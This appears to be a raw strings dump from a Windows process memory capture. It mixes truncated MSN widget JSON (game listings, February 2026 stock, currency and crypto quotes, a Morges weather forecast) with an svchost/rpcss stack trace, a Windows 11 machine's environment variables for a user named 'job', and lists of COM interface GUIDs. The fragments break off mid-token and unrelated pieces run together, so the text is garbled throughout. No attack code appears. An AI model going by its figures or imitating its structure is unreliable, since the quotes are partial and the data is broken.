Apps\",\"publishDate\":\"2024-01-01T00:00:00\",\"thumbnailId\":\"OCGE.9pc19rxfzl82_v32_main\",\"heroThumbnailId\":\"OCGE.9pc19rxfzl82_v32_hero\",\"thumbnail16x9\":\"OCGE.9pc19rxfzl82_v32_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/mergest-kingdom/cg-9pc19rxfzl82\",\"genres\":[\"Merge\",\"Adven ,\"c \"CN Date\":\"2025-07 ab1-490d-a6ab-e8840fad9bde\",\"heroThumbnailId\":\"OCGE.9plgt00f15xs_v6_hero "playUrl\":\ /www .com nres :[\"Arcade\",\"Pla mer\"],\"subtitle\":\"\",\"defau nk\" Kid\",\"name es/mr- Element not found. Element not found. 5d4e25a19eb71c6433f449a6b2b54dab svchost.exe combase.dll{16C24722-08E6-8822-4B94-B57C6E7024BF}+0xb8037 combase.dll+0x7d002 rpcss.dll{5EA35048-E29A-8703-9883-C9AF1E48334E}+0x66bf3 rpcss.dll+0x4ae17 rpcss.dll+0x4ac24 rpcss.dll+0x4a754 rpcss.dll+0x4a6b5 rpcss.dll+0x7b13f rpcss.dll+0xe397f rpcss.dll+0x7de03 rpcss.dll+0xccd2d rpcss.dll+0xd6c31 rpcss.dll+0x7f24a rpcss.dll+0xb5222 rpcss.dll+0x772ff 6)=C:\Program Files (x86)\Common Files CommonProgramW6432=C:\Program Files\Common Files COMPUTERNAME=WINDOWS11 ComSpec=C:\WINDOWS\system32\cmd.exe DriverData=C:\Windows\System32\Drivers\DriverData HOMEDRIVE=C: HOMEPATH=\Users\job LOCALAPPDATA=C:\Users\job\AppData\Local LOGONSERVER=\\WINDOWS11 NUMBER_OF_PROCESSORS=2 OneDrive=C:\Users\job\OneDrive OS=Windows_NT Path=C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem;C:\WINDOWS\System32\WindowsPowerShell\v1.0\;C:\WINDOWS\System32\OpenSSH\;C:\Users\job\AppData\Local\Microsoft\WindowsApps PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC PROCESSOR_ARCHITECTURE=AMD64 PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 186 Stepping 2, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=ba02 ProgramData=C:\ProgramData ProgramFiles=C:\Program Files ProgramFiles(x86)=C:\Program Files (x86) ProgramW6432=C:\Program Files PSModulePath=%ProgramFiles%\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules PUBLIC=C:\Users\Public SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\Users\job\AppData\Local\Temp TMP=C:\Users\job\AppData\Local\Temp USERDOMAIN=Windows11 USERDOMAIN_ROAMINGPROFILE=Windows11 USERNAME=job USERPROFILE=C:\Users\job windir=C:\WINDOWS ntime Microso {AD4C1B00-4BF7-422F-9175-756693D9130D} {FF5265E8-6D8B-4BD4-A52D-8D99008E04C8} {4C691564-057C-430A-BC66-2120BFB048F7} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {aaa0d501-ec92-4c17-a930-90dd0d2f6c95} {C90250F3-4D7D-4991-9B69-A5C5BC1C2AE6} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {AAF322D7-795E-4485-A92F-3D3F39269EDE} __FITypedEventHandler_2_WebRuntime__CBrowsingContext_WebRuntime__CWindowResizeByRequestedEventArgs {944DE083-8FB8-45CF-BCB7-C477ACB2F897} IDebugThread2 {C5621364-87CC-4731-8947-929CAE75323E} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} ICurrentApp {7CD4F369-6379-4EBB-86D4-87DA8E63CA3B} IEnterpriseAppEnrollmentManager {A12E5BCB-9758-4FBE-9B85-F50C822E6B5E} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IDebugBoundBreakpoint2 {C5621364-87CC-4731-8947-929CAE75323E} !,-./#01234567&'() :;<=>@ ABCMNOPQRSTUVWXYbcdefg[hijkl]^_`aFmnosqrtuvwIJxyz{ 24T07:56:03.8799855+00:00\",\"exchangeName\":\"-\",\"iconUrl\":\"https://assets.msn.com/weathermapdata/1/static/finance/crypto/icons/Cryptoc2111Image.png\",\"return1Year\":-28.961,\"return3Year\":0.0,\"returnYTD\":-30.425,\"return1Month\":-28.811,\"return1Day\":-4.387},{\"currency\":\"CHF\",\"id\":\"c2112\",\"symbol\":\"ETH\",\"price\":\"1 413.77\",\"priceNumber\":1413.7665,\"priceDayLow\":1405.7902,\"priceDayHigh\":1500.5203,\"marketCap\":170630805347.9924,\"priceChange1Month\":0.0,\"price52wHigh\":0.0,\"price52wLow\":0.0,\"pricePreviousClose\":-3.253,\"changeValue\":\"-45.99\",\"changePcnt\":\"-3.25%\",\"changePcntNumber\":-3.253,\"changeValueNumber\":-45.989824245,\"displayName\":\"Ethereum\",\"shortName\":\"Ethereum\",\"gain\":false,\"unchanged\":false,\"securityType\":\"Cryptocurrency\",\"timeLastUpdated\":\"2026-02-24T07:56:03.8801247+00:00\",\"exchangeName\":\"-\",\"iconUrl\":\"https://assets.msn.com/weathermapdata/1/static/finance/crypto/icons/Cryptoc2112Image.png\",\"return1Year\":-26.872,\"return3Year\":0.0,\"returnYTD\":-41.665,\"return1Month\":-37.889,\"return1Day\":-3.253},{\"currency\":\"CHF\",\"id\":\"c2113\",\"symbol\":\"BNB\",\"price\":\"456.07\",\"priceNumber\":456.0710003,\"priceDayLow\":455.09567,\"priceDayHigh\":474.1525,\"marketCap\":62189382231.2489,\"priceChange1Month\":0.0,\"price52wHigh\":0.0,\"price52wLow\":0.0,\"pricePreviousClose\":-1.841,\"changeValue\":\"-8.40\",\"changePcnt\":\"-1.84%\",\"changePcntNumber\":-1.841,\"changeValueNumber\":-8.396267115522999,\"displayName\":\"BNB\",\"shortName\":\"BNB\",\"gain\":false,\"unchanged\":false,\"securityType\":\"Cryptocurrency\",\"timeLastUpdated\":\"2026-02-24T07:56:03.8802288+00:00\",\"exchangeName\":\"-\",\"iconUrl\":\"https://assets.msn.com/weathermapdata/1/static/finance/crypto/icons/Cryptoc2113Image.png\",\"return1Year\":-5.569,\"return3Year\":0.0,\"returnYTD\":-33.05,\"return1Month\":-33.0648,\"return1Day\":-1.841},{\"currency\":\"CHF\",\"id\":\"c2114\",\"symbol\":\"ADA\",\"price\":\"0.20\",\"priceNumber\":0.1993,\"priceDayLow\":0.198"gain\":true,\"unchanged\":false,\"securityType\":\"CurrencyPair\",\"timeLastUpdated\":\"2026-02-24T07:57:09.7691436+00:00\",\"timeLastTraded\":\"2026-02-24T07:57:09+00:00\",\"exchangeName\":\"Foreign Exchange Rates\",\"exchangeId\":\"r6dwrm\",\"return1Year\":5.4048,\"return3Year\":0.0,\"returnYTD\":0.2409,\"return1Month\":0.8426,\"return1Day\":0.05726,\"localizedAttributes\":{\"de-ch\":{\"symbolName\":\"Euro/Britisches Pfund\"}}},{\"currency\":\"CNY\",\"id\":\"av8u5r\",\"symbol\":\"EURCNY\",\"price\":\"8.1151\",\"priceNumber\":8.1151,\"priceDayLow\":8.1135,\"priceDayHigh\":8.1487,\"marketCap\":0.0,\"priceChange1Month\":-0.1195,\"price52wHigh\":8.471,\"price52wLow\":7.5443,\"pricePreviousClose\":8.1404,\"changeValue\":\"-0.0253\",\"changePcnt\":\"-0.31%\",\"changePcntNumber\":-0.3108,\"changeValueNumber\":-0.0253,\"displayName\":\"Euro/Chinesischer Renminbi (CNY)\",\"shortName\":\"Euro/Chinesischer Renminbi (CNY)\",\"gain\":false,\"unchanged\":false,\"securityType\":\"CurrencyPair\",\"timeLastUpdated\":\"2026-02-24T07:57:05.5144059+00:00\",\"timeLastTraded\":\"2026-02-24T07:57:04+00:00\",\"exchangeName\":\"Foreign Exchange Rates\",\"exchangeId\":\"r6dwrm\",\"return1Year\":6.9846,\"return3Year\":0.0,\"returnYTD\":-1.1968,\"return1Month\":-1.4512,\"return1Day\":-0.3108,\"localizedAttributes\":{\"de-ch\":{\"symbolName\":\"Euro/Chinesischer Renminbi (CNY)\"}}}]},\"crypto\":{\"quoteIds\":[\"c2111\",\"c2112\",\"c2113\",\"c2114\",\"c2117\"],\"quoteItems\":[{\"currency\":\"CHF\",\"id\":\"c2111\",\"symbol\":\"BTC\",\"price\":\"48 872.58\",\"priceNumber\":48872.5807,\"priceDayLow\":48618.9234,\"priceDayHigh\":51628.7902,\"marketCap\":977158370733.9708,\"priceChange1Month\":0.0,\"price52wHigh\":0.0,\"price52wLow\":0.0,\"pricePreviousClose\":-4.387,\"changeValue\":\"-2 144.04\",\"changePcnt\":\"-4.39%\",\"changePcntNumber\":-4.387,\"changeValueNumber\":-2144.0401153089997,\"displayName\":\"Bitcoin\",\"shortName\":\"Bitcoin\",\"gain\":false,\"unchanged\":false,\"securityType\":\"Cryptocurrency\",\"timeLastUpdated\":\"2026-02-h\":1.2078,\"price52wLow\":1.0359,\"pricePreviousClose\":1.1784,\"changeValue\":\"-0.0007\",\"changePcnt\":\"-0.06%\",\"changePcntNumber\":-0.0594,\"changeValueNumber\":-0.0007,\"displayName\":\"Euro/US-Dollar\",\"shortName\":\"Euro/US-Dollar\",\"gain\":false,\"unchanged\":false,\"securityType\":\"CurrencyPair\",\"timeLastUpdated\":\"2026-02-24T07:57:05.4508369+00:00\",\"timeLastTraded\":\"2026-02-24T07:57:04+00:00\",\"exchangeName\":\"Foreign Exchange Rates\",\"exchangeId\":\"r6dwrm\",\"return1Year\":12.5263,\"return3Year\":0.0,\"returnYTD\":0.2725,\"return1Month\":-0.4143,\"return1Day\":-0.0594,\"localizedAttributes\":{\"de-ch\":{\"symbolName\":\"Euro/US-Dollar\"}}},{\"currency\":\"JPY\",\"id\":\"av8wim\",\"symbol\":\"EURJPY\",\"price\":\"183.87\",\"priceNumber\":183.87,\"priceDayLow\":182.23,\"priceDayHigh\":183.9,\"marketCap\":0.0,\"priceChange1Month\":-0.27,\"price52wHigh\":186.86,\"price52wLow\":154.76,\"pricePreviousClose\":182.24,\"changeValue\":\"+1.63\",\"changePcnt\":\"+0.89%\",\"changePcntNumber\":0.8944,\"changeValueNumber\":1.63,\"displayName\":\"Euro/Japanischer Yen\",\"shortName\":\"Euro/Japanischer Yen\",\"gain\":true,\"unchanged\":false,\"securityType\":\"CurrencyPair\",\"timeLastUpdated\":\"2026-02-24T07:57:07.3765244+00:00\",\"timeLastTraded\":\"2026-02-24T07:57:06+00:00\",\"exchangeName\":\"Foreign Exchange Rates\",\"exchangeId\":\"r6dwrm\",\"return1Year\":17.3464,\"return3Year\":0.0,\"returnYTD\":-0.07065,\"return1Month\":-0.1466,\"return1Day\":0.8944,\"localizedAttributes\":{\"de-ch\":{\"symbolName\":\"Euro/Japanischer Yen\"}}},{\"currency\":\"GBP\",\"id\":\"av92z2\",\"symbol\":\"EURGBP\",\"price\":\"0.8737\",\"priceNumber\":0.8737,\"priceDayLow\":0.8729,\"priceDayHigh\":0.874,\"marketCap\":0.0,\"priceChange1Month\":0.0073,\"price52wHigh\":0.8865,\"price52wLow\":0.8238,\"pricePreviousClose\":0.8732,\"changeValue\":\"+0.0005\",\"changePcnt\":\"+0.06%\",\"changePcntNumber\":0.05726,\"changeValueNumber\":0.0005,\"displayName\":\"Euro/Britisches Pfund\",\"shortName\":\"Euro/Britisches Pfund\",\\":\"awdk1h\",\"symbol\":\"SX5E\",\"price\":\"6 113.92\",\"priceNumber\":6113.92,\"priceDayLow\":6100.47,\"priceDayHigh\":6151.96,\"marketCap\":0.0,\"priceChange1Month\":165.72,\"price52wHigh\":6151.96,\"price52wLow\":5780.85,\"pricePreviousClose\":6131.31,\"changeValue\":\"-17.39\",\"changePcnt\":\"-0.28%\",\"changePcntNumber\":-0.2836,\"changeValueNumber\":-17.39,\"displayName\":\"EURO STOXX 50\",\"gain\":false,\"unchanged\":false,\"securityType\":\"Index\",\"timeLastUpdated\":\"2026-02-24T03:45:11.7635314+00:00\",\"timeLastTraded\":\"2026-02-23T17:00:00+00:00\",\"exchangeName\":\"STOXX Indices\",\"exchangeId\":\"r6e4qh\",\"return1Year\":12.1047,\"return3Year\":0.0,\"returnYTD\":5.5688,\"return1Month\":2.7861,\"return1Day\":-0.2836,\"localizedAttributes\":{\"de-ch\":{\"displayName\":\"EURO STOXX 50\"}}}]},\"currencies\":{\"quoteIds\":[\"av923m\",\"av932w\",\"av8wim\",\"av92z2\",\"av8u5r\"],\"quoteItems\":[{\"currency\":\"CHF\",\"id\":\"av923m\",\"symbol\":\"EURCHF\",\"price\":\"0.9131\",\"priceNumber\":0.9131,\"priceDayLow\":0.9131,\"priceDayHigh\":0.9141,\"marketCap\":0.0,\"priceChange1Month\":-0.0094,\"price52wHigh\":0.9661,\"price52wLow\":0.9091,\"pricePreviousClose\":0.9127,\"changeValue\":\"+0.0004\",\"changePcnt\":\"+0.04%\",\"changePcntNumber\":0.04383,\"changeValueNumber\":0.0004,\"displayName\":\"Euro/Schweizer Franken\",\"shortName\":\"Euro/Schweizer Franken\",\"gain\":true,\"unchanged\":false,\"securityType\":\"CurrencyPair\",\"timeLastUpdated\":\"2026-02-24T07:57:07.6364905+00:00\",\"timeLastTraded\":\"2026-02-24T07:57:06+00:00\",\"exchangeName\":\"Foreign Exchange Rates\",\"exchangeId\":\"r6dwrm\",\"return1Year\":-2.7168,\"return3Year\":0.0,\"returnYTD\":-1.9332,\"return1Month\":-1.019,\"return1Day\":0.04383,\"localizedAttributes\":{\"de-ch\":{\"symbolName\":\"Euro/Schweizer Franken\"}}},{\"currency\":\"USD\",\"id\":\"av932w\",\"symbol\":\"EURUSD\",\"price\":\"1.1777\",\"priceNumber\":1.1777,\"priceDayLow\":1.1769,\"priceDayHigh\":1.1796,\"marketCap\":0.0,\"priceChange1Month\":-0.0049,\"price52wHig {AAF322D7-795E-4485-A92F-3D3F39269EDE} {95E15D0A-66E6-93D9-C53C-76E6219D3341} IPrivateDispatcher {144C71F2-7F10-4AB2-BB07-C38F5B9AE05E} {0b4c227f-2394-43ff-ba59-bc762f5c46ea} IMtfDataSourceSvr {FF51D680-9190-4B6C-87DA-0062ABBBFF2E} {95E15D0A-66E6-93D9-C53C-76E6219D3341} {928A906F-EADB-4EE2-8961-FE734AF257D1} 6x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/playground-man-ragdoll-show/cg-9nj10wf288jp\",\"genres\":[\"Puzzle\",\"Simulation\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9p8cv7cvz5rl\",\"recoItemId\":\"AA1OGXeE\",\"name\":\"Poxel.io\",\"defaultName\":\"Poxel.io\",\"market\":\"de-ch\",\"created\":\"2025-11-27T08:33:51.9250116Z\",\"lastModified\":\"2025-11-27T08:33:51.9250116Z\",\"publisherId\":\"CN=6175D223-8F0B-46C8-A9A9-DAFAC8ECEE3F\",\"publisherName\":\"Legion\",\"publishDate\":\"2025-10-17T22:31:42.1763776Z\",\"thumbnailId\":\"OCGE.9p8cv7cvz5rl_v5_main\",\"heroThumbnailId\":\"OCGE.9p8cv7cvz5rl_v5_hero\",\"thumbnail16x9\":\"OCGE.9p8cv7cvz5rl_v5_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/poxelio/cg-9p8cv7cvz5rl\",\"genres\":[\"Arcade\",\"Multiplayer\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[],\"softLaunched\":false},{\"id\":\"9n21399h2r5p\",\"recoItemId\":\"AA1tlavp\",\"name\":\"Screw Puzzle: Nut and Bolt\",\"defaultName\":\"Screw Puzzle: Nut and Bolt\",\"market\":\"de-ch\",\"created\":\"2024-11-13T19:11:09.650492Z\",\"lastModified\":\"2024-11-13T19:11:09.650492Z\",\"publisherId\":\"CN=B271F10C-BA53-4B8C-A853-E9AE5F9CDBA2\",\"publisherName\":\"Sun.Studio\",\"publishDate\":\"2024-11-13T19:11:09.6376492Z\",\"thumbnailId\":\"OCGE.9n21399h2r5p_v3_main\",\"heroThumbnailId\":\"OCGE.9n21399h2r5p_v3_hero\",\"thumbnail16x9\":\"OCGE.9n21399h2r5p_v3_16x9\",\"playUrl\":\"https://www.msn.com/de-ch/play/games/screw-puzzle-nut-and-bolt/cg-9n21399h2r5p\",\"genres\":[\"Puzzle\",\"Strategy\"],\"subtitle\":\"\",\"defaultRank\":100,\"trailers\":[{\"title\":\"\",\"audioEncoding\":\"\",\"videoEncoding\":\"\",\"videoPurpose\":\"\",\"image\":{\"imageType\":\"\",\"url\":\"\",\"height\":\"\",\"width\":\"\",\"caption\":\"\"},\"url\":\"https://th.bing.com/th?id=OCGE.9n21399h2r5p_v1_trailer_1\",\"height\":\"\",\"width\":\"\",\"bitrate\":\"\",\"videoPositionInfo\":\"\",\"sortOrder\":\"2\"}],\"softLaunched\":false}],\"tmpl\":{\"External\":\"FV=|I=2026-02-24\"}}","cardId":4,"wpoMetadata":{"isRecommended":true,"cardPlacementRule":"none"}},{"type":"MoneyInfo","isLocalContent":false,"height":304.0,"position":0,"data":"{\"userSignedIn\":false,\"dataFrom\":\"watchlist\",\"tabs\":[\"market\",\"watchlist\",\"upcomingearnings\",\"crypto\",\"currencies\",\"movers\",\"gainers\",\"losers\"],\"fullWatchlistQuoteIds\":[],\"dataTimestamp\":1771891030037,\"tabListDetails\":{\"watchlist\":{\"quoteIds\":[]},\"recommend\":{\"quoteIds\":[\"an8uec\",\"a6qja2\",\"a24s7w\",\"a24kar\",\"aftjec\",\"a1yw77\",\"av923m\",\"av932w\",\"av8wim\",\"av92z2\",\"av8u5r\"],\"quoteItems\":[{\"currency\":\"CHF\",\"id\":\"an8uec\",\"symbol\":\"SMIM\",\"price\":\"3 116.44\",\"priceNumber\":3116.44,\"priceDayLow\":3111.5,\"priceDayHigh\":3152.01,\"marketCap\":0.0,\"priceChange1Month\":61.14,\"price52wHigh\":3169.98,\"price52wLow\":2970.44,\"pricePreviousClose\":3160.43,\"changeValue\":\"-43.99\",\"changePcnt\":\"-1.39%\",\"changePcntNumber\":-1.392,\"changeValueNumber\":-43.99,\"displayName\":\"SMI MID Price Index\",\"shortName\":\"SMIM Index\",\"gain\":false,\"unchanged\":false,\"securityType\":\"Index\",\"timeLastUpdated\":\"2026-02-24T03:45:03.1013326+00:00\",\"timeLastTraded\":\"2026-02-23T16:31:03.022+00:00\",\"exchangeName\":\"SIX Swiss Exchange\",\"exchangeId\":\"r6e7k8\",\"return1Year\":10.4171,\"return3Year\":0.0,\"returnYTD\":4.7243,\"return1Month\":2.0011,\"return1Day\":-1.392,\"localizedAttributes\":{\"de-ch\":{\"displayName\":\"SMI MID Price Index\",\"shortName\":\"SMIM Index\"}}},{\"currency\":\"USD\",\"id\":\"a6qja2\",\"symbol\":\"DJI\",\"price\":\"48 804.06\",\"priceNumber\":48804.06,\"priceDayLow\":48731.46,\"priceDayHigh\":49695.61,\"marketCap\":0.0,\"priceChange1Month\":-294.65,\"price52wHigh\":50512.79,\"price52wLow\":36611.78,\"pricePreviousClose\":49625.97,\"changeValue\":\"-821.91\",\"changePcnt\":\"-1.66%\",\"changePcntNumber\":-1.6562,\"changeValueNumber\":-821.91,\"displayName\":\"DOW\",\"shortName\":\"DOW\",\"gain\":false,\"unchanged\":false,\"securityType\":\"Index\",\"timeLastUpdated\":\"2026-02-24T01:44:03.3676659+00:00\",\"timeLastTraded\":\"2026-02-23T21:42:07.895+00:00\",\"exchangeName\":\"Dow Jones Indices\",\"exchangeId\":\"r6dwzv\",\"return1Year\":12.2934,\"return3Year\":0.0,\"returnYTD\":1.5412,\"return1Month\":-0.6001,\"return1Day\":-1.6562,\"localizedAttributes\":{\"de-ch\":{\"displayName\":\"DOW\",\"shortName\":\"DOW\"}}},{\"currency\":\"USD\",\"id\":\"a24s7w\",\"symbol\":\"UBS\",\"price\":\"41.53\",\"priceNumber\":41.53,\"priceDayLow\":41.24,\"priceDayHigh\":42.57,\"marketCap\":146728865620.0,\"priceChange1Month\":-6.02,\"price52wHigh\":49.36,\"price52wLow\":25.75,\"pricePreviousClose\":42.57,\"changeValue\":\"-1.04\",\"changePcnt\":\"-2.44%\",\"changePcntNumber\":-2.443,\"changeValueNumber\":-1.04,\"displayName\":\"UBS Group AG\",\"gain\":false,\"unchanged\":false,\"securityType\":\"Stock\",\"timeLastUpdated\":\"2026-02-24T07:01:19.1315839+00:00\",\"timeLastTraded\":\"2026-02-23T22:52:08.512+00:00\",\"exchangeName\":\"New York Stock Exchange\",\"exchangeId\":\"r6dwor\",\"iconUrl\":\"https://bing.com/th?id=OSK.xH1gNdtcyj-XAsKZObURxI6dCdKE9cUF5CygM0rdYxI\",\"return1Year\":24.0813,\"return3Year\":0.0,\"returnYTD\":-10.3217,\"return1Month\":-12.6604,\"return1Day\":-2.443,\"localizedAttributes\":{\"en-us\":{\"displayName\":\"UBS Group Inc.\"},\"fr-fr\":{\"displayName\":\"UBS Group Inc.\"},\"de-de\":{\"displayName\":\"UBS Group AG\"},\"es-es\":{\"displayName\":\"UBS Group Inc.\"},\"sv-se\":{\"displayName\":\"UBS Group Inc.\"},\"it-it\":{\"displayName\":\"UBS Group Inc.\"},\"ja-jp\":{\"displayName\":\"UBS Group Inc.\"},\"pt-br\":{\"displayName\":\"UBS Group Inc.\"},\"ru-ru\":{\"displayName\":\"UBS Group Inc.\"},\"nl-nl\":{\"displayName\":\"UBS Group Inc.\"}}},{\"currency\":\"USD\",\"id\":\"a24kar\",\"symbol\":\"TSLA\",\"price\":\"399.83\",\"priceNumber\":399.83,\"priceDayLow\":394.04,\"priceDayHigh\":407.7,\"marketCap\":1500334886560.0,\"priceChange1Month\":-49.23,\"price52wHigh\":498.83,\"price52wLow\":214.25,\"pricePreviousClose\":411.82,\"changeValue\":\"-11.99\",\"changePcn:5,\"uv\":0.0,\"valid\":\"2026-02-25T05:00:00+01:00\",\"windDir\":27,\"windSpd\":4.0,\"vis\":35.0,\"windGust\":8.0,\"rainAmount\":0.0,\"snowAmount\":0.0,\"raAccu\":0.0,\"saAccu\":0.0,\"aqi\":64.0},{\"cap\":\"Meist klar\",\"feels\":6.0,\"rh\":88.0,\"icon\":29,\"symbol\":\"n1000\",\"pvdrIcon\":\"29\",\"precip\":0.0,\"sky\":\"FEW\",\"temp\":7.0,\"tempDesc\":5,\"uv\":0.0,\"valid\":\"2026-02-25T06:00:00+01:00\",\"windDir\":26,\"windSpd\":4.0,\"vis\":35.0,\"windGust\":8.0,\"rainAmount\":0.0,\"snowAmount\":0.0,\"raAccu\":0.0,\"saAccu\":0.0,\"aqi\":65.0},{\"cap\":\"Meist klar\",\"feels\":6.0,\"rh\":87.0,\"icon\":29,\"symbol\":\"n1000\",\"pvdrIcon\":\"29\",\"precip\":0.0,\"sky\":\"FEW\",\"temp\":6.0,\"tempDesc\":5,\"uv\":0.0,\"valid\":\"2026-02-25T07:00:00+01:00\",\"windDir\":24,\"windSpd\":4.0,\"vis\":35.0,\"windGust\":8.0,\"rainAmount\":0.0,\"snowAmount\":0.0,\"raAccu\":0.0,\"saAccu\":0.0,\"aqi\":64.0},{\"cap\":\" berwiegend sonnig\",\"feels\":8.0,\"rh\":87.0,\"icon\":2,\"symbol\":\"d1000\",\"pvdrIcon\":\"2\",\"precip\":0.0,\"sky\":\"FEW\",\"temp\":7.0,\"tempDesc\":5,\"uv\":0.0,\"valid\":\"2026-02-25T08:00:00+01:00\",\"windDir\":35,\"windSpd\":4.0,\"vis\":35.0,\"windGust\":10.0,\"rainAmount\":0.0,\"snowAmount\":0.0,\"raAccu\":0.0,\"saAccu\":0.0,\"aqi\":65.0}],\"daily\":{\"day\":{\"cap\":\"Sonnig\",\"symbol\":\"d0000\",\"windSpd\":5.0},\"night\":{\"cap\":\"Klar\",\"symbol\":\"n0000\",\"windSpd\":4.0},\"pvdrCap\":\"Sonnig\",\"valid\":\"2026-02-25T00:00:00+01:00\",\"icon\":1,\"symbol\":\"d0000\",\"pvdrIcon\":\"1\",\"precip\":0.0,\"rhHi\":89.0,\"rhLo\":57.0,\"tempHi\":14.0,\"tempLo\":8.0,\"uv\":2.0,\"uvDesc\":\"Niedrig\",\"created\":\"2026-02-24T08:45:00+01:00\",\"rainAmount\":0.0,\"snowAmount\":0.0,\"raToMN\":0.0,\"saToMN\":0.0,\"vis\":36.0,\"aqi\":94.0}},{\"hourly\":[],\"daily\":{\"day\":{\"cap\":\"Sonnig\",\"symbol\":\"d0000\",\"windSpd\":5.0},\"night\":{\"cap\":\"Klar\",\"symbol\":\"n0000\",\"windSpd\":4.0},\"pvdrCap\":\"Sonnig\",\"valid\":\"2026-02-26T00:00:00+01:00\",\"icon\":1,\"symbol\":\"d0000\",\"pvdrIcon\":\"1\",\"precip\":0.0,\"rhHi\":93.0,\"rhLo\":59.0,\"tempHi\":15.0,\"tempLo\":7.0,\"uv\":2.0,\"uvDesc\":\"Niedrig\",\"created\":\"2026-02-24T08:45:00+01:00\",\"rainAmount\":0.0,\"snowAmount\":0.0,\"raToMN\":0.0,\"saToMN\":0.0,\"vis\":32.2,\"aqi\":107.0}},{\"hourly\":[],\"daily\":{\"day\":{\"cap\":\"Sonnig\",\"symbol\":\"d0000\",\"windSpd\":5.0},\"night\":{\"cap\":\"Teilweise bew lkt\",\"symbol\":\"n2000\",\"windSpd\":6.0},\"pvdrCap\":\"Sonnig\",\"valid\":\"2026-02-27T00:00:00+01:00\",\"icon\":1,\"symbol\":\"d0000\",\"pvdrIcon\":\"1\",\"precip\":0.0,\"rhHi\":93.0,\"rhLo\":50.0,\"tempHi\":17.0,\"tempLo\":10.0,\"uv\":2.0,\"uvDesc\":\"Niedrig\",\"created\":\"2026-02-24T08:45:00+01:00\",\"rainAmount\":0.0,\"snowAmount\":0.0,\"raToMN\":0.0,\"saToMN\":0.0,\"vis\":40.0,\"aqi\":94.0}},{\"hourly\":[],\"daily\":{\"day\":{\"cap\":\"Meist bew lkt\",\"symbol\":\"d3000\",\"windSpd\":10.0},\"night\":{\"cap\":\"Meist bew lkt\",\"symbol\":\"n3000\",\"windSpd\":8.0},\"pvdrCap\":\"Meist bew lkt\",\"valid\":\"2026-02-28T00:00:00+01:00\",\"icon\":4,\"symbol\":\"d3000\",\"pvdrIcon\":\"4\",\"precip\":9.0,\"rhHi\":96.0,\"rhLo\":71.0,\"tempHi\":13.0,\"tempLo\":7.0,\"uv\":2.0,\"uvDesc\":\"Niedrig\",\"created\":\"2026-02-24T08:45:00+01:00\",\"rainAmount\":0.0,\"snowAmount\":0.0,\"raToMN\":0.0,\"saToMN\":0.0,\"vis\" 6,\"aqi\":79.0}} :[], ily\ "day\":{ ilweise sonnig\",\"symbol\":\"d2 {"type":"AdaptiveCard","version":"1.1","id":"Weather_Preview_LockScreen_LockScreen","height":"stretch","body":[{"type":"TextBlock","weight":"bolder","text":"Morges"},{"type":"ColumnSet","columns":[{"type":"Column","width":"auto","items":[{"type":"Image","url":"https://assets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.png","altText":"Sonnig","height":"66px","lottieAnimation":"Sunny","lottieUrl":"https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/jsonv6/TB_01_WeatherSunny.json"}],"verticalContentAlignment":"center"},{"type":"Column","width":"auto","items":[{"type":"TextBlock","size":"extraLarge","weight":"bolder","text":"7","horizontalAlignment":"center","wrap":true,"separator":true}],"verticalContentAlignment":"center","spacing":"medium"},{"type":"Column","width":"auto","items":[{"type":"TextBlock","text":" C","wrap":true,"spacing":"small"},{"type":"TextBlock","size":"small","text":" ","wrap":true,"spacing":"medium"}],"verticalContentAlignment":"bottom","spacing":"small"},{"type":"Column","items":[{"type":"TextBlock","weight":"bolder","text":"AQI 59\rM ige Luftqualit t","horizontalAlignment":"right","wrap":true,"maxLines":3}],"verticalContentAlignment":"center","spacing":"medium"}],"height":"stretch"},{"type":"TextBlock","size":"small","color":"accent","text":"Vollst ndige Vorhersage anzeigen","horizontalAlignment":"center"}],"selectAction":{"type":"Action.OpenUrl","url":"https://www.msn.com/de-ch?ocid=widgetonlockscreen&serviceActivityId=b4e46352-b990-4a6d-83b1-d0f8c3e5078b&segment=Weather&scenario=AQICard","title":"Morges 7 C Sonnig, AQI 59\rM ige Luftqualit t, Vollst ndige Vorhersage anzeigen"}},"customization":{"type":"AdaptiveCard","version":"1.3","id":"Weather_Preview_Customization_LockScreen","body":[{"type":"Input.ChoiceSet","id":"temperatureUnit","value":"2","style":"expanded","isMultiSelect":false,"choices":[{"title":"Celsius ( C)","value":"2"},{"title":"Fahrenheit ( F)","value":"1"}],"wrap":true,"label":"Temperatureinheit bearbeiten"},{"type":"Input.ssets.msn.com/weathermapdata/1/static/weather/Icons/MSIAWwA=/Condition/AAehR3S.png","altText":"Sonnig","height":"66px","lottieAnimation":"Sunny","lottieUrl":"https://assets.msn.com/weathermapdata/1/static/weather/taskbar/animation/jsonv6/TB_01_WeatherSunny.json"}],"verticalContentAlignment":"center"},{"type":"Column","width":"auto","items":[{"type":"TextBlock","size":"extraLarge","weight":"bolder","text":"7","horizontalAlignment":"center","wrap":true,"separator":true}],"verticalContentAlignment":"center","spacing":"medium"},{"type":"Column","width":"auto","items":[{"type":"TextBlock","text":" C","wrap":true,"spacing":"small"},{"type":"TextBlock","size":"small","text":" 